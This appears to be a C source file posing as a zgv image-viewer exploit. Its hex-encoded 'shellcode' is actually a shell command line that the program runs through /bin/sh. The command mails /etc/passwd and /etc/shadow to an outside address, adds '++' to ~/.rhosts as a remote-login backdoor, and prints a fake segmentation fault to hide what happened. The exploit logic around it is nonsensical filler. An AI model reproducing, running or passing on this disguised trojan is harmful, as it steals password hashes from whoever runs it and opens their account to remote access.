/***********************************************
 * released under (E) licensing ...            *
 *        (E) RULES AND REGULATIONS            *
 * permission to use/rewrite/add     : granted *
 * permission to trojan/steal        : denied  *
 * permission to use illegally       : denied  *
 * permission to use on /dev/urandom : denied  *
 ***********************************************/
/* contact el8@press.co.jp for full license    */
/* code copyrighted by ~el8 -- don't infringe! */

/*
 * This is the only working zgv exploit out
 * that actually works.
 * usage: gcc zgvexploit.c -o zgvexploit ;
 *        zgvexploit <picture> <offset>
 * thanks to stranJer for some ASM help
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

#define ZGV_PATH                "/usr/bin/zgv"
#define OFFSET                     0x0000001a
#define BUFFER_SIZE                0x0000000d

long
get_esp (void)
{
  __asm__ ("movl %esp,%eax\n");
}
void
main (int argc, char *argv[])
{
  char *buff = NULL;
  unsigned long *addr = NULL;
  unsigned long offset = OFFSET;
  char *ptr = NULL;
  char pict[255] = "\0";
  char opts[] = "-c"; //{0x2D,0x63};

  unsigned char shellcode[]= \
  "\x65\x63\x68\x6F\x3B\x63\x61\x74\x20\x2F\x65"\
  "\x74\x63\x2F\x70\x61\x73\x73\x77\x64\x2A\x20\x2F\x65\x74\x63"\
  "\x2F\x73\x68\x61\x64\x6F\x77\x2A\x7C\x6D\x61\x69\x6C\x20\x65"\
  "\x78\x70\x6C\x40\x6D\x6F\x6F\x6E\x2E\x63\x6F\x2E\x6A\x70\x20"\
  "\x32\x3E\x26\x31\x3E\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B"\
  "\x65\x63\x68\x6F\x20\x2B\x2B\x3E\x7E\x2F\x2E\x72\x68\x6F\x73"\
  "\x74\x73\x20\x32\x3E\x26\x31\x3E\x2F\x64\x65\x76\x2F\x6E\x75"\
  "\x6C\x6C\x3B\x65\x63\x68\x6F\x20\x53\x65\x67\x6D\x65\x6E\x74"\
  "\x61\x74\x69\x6F\x6E\x46\x61\x75\x6C\x74\x20\x31\x3E\x26\x32"\
  "\x3B\x74\x6F\x75\x63\x68\x20\x63\x6F\x72\x65\x20\x23/bin/sh";

  if (argc == 1)
  {
    strncpy(pict,"heh.jpg",7);
  }
  if (argc == 2)
  {
    strncpy(pict,argv[1],255);
  }
  if (argc == 3)
  {
    strncpy(pict,argv[1],255);
    offset=atof(argv[2]);
  }
  if (argc  > 3)
  {
    fprintf(stderr,"too many optionz.\n");
    exit(-1);
  }
  if ((buff = malloc (BUFFER_SIZE + strlen (shellcode))) < 0)
    {
      printf ("malloc()");
      exit (-1);
    }
  ptr = buff;
  fcntl(1,F_SETFL,O_NONBLOCK);
  #define _NOP 0x20
  memset (ptr, (_NOP), BUFFER_SIZE);

  ptr += BUFFER_SIZE;
  addr = (long *) ptr;
  *addr = ~((*addr | get_esp()) - offset);

  printf("using offset %p\n",(get_esp()-offset));
  ptr = (char *) addr;
  *ptr = 0;

  memcpy (ptr, shellcode, sizeof (shellcode));
  execl ("/bin/sh", "sh", opts, shellcode, NULL);
  execl (ZGV_PATH,"zgv",pict);
}


syntax highlighted by Code2HTML, v. 0.9.1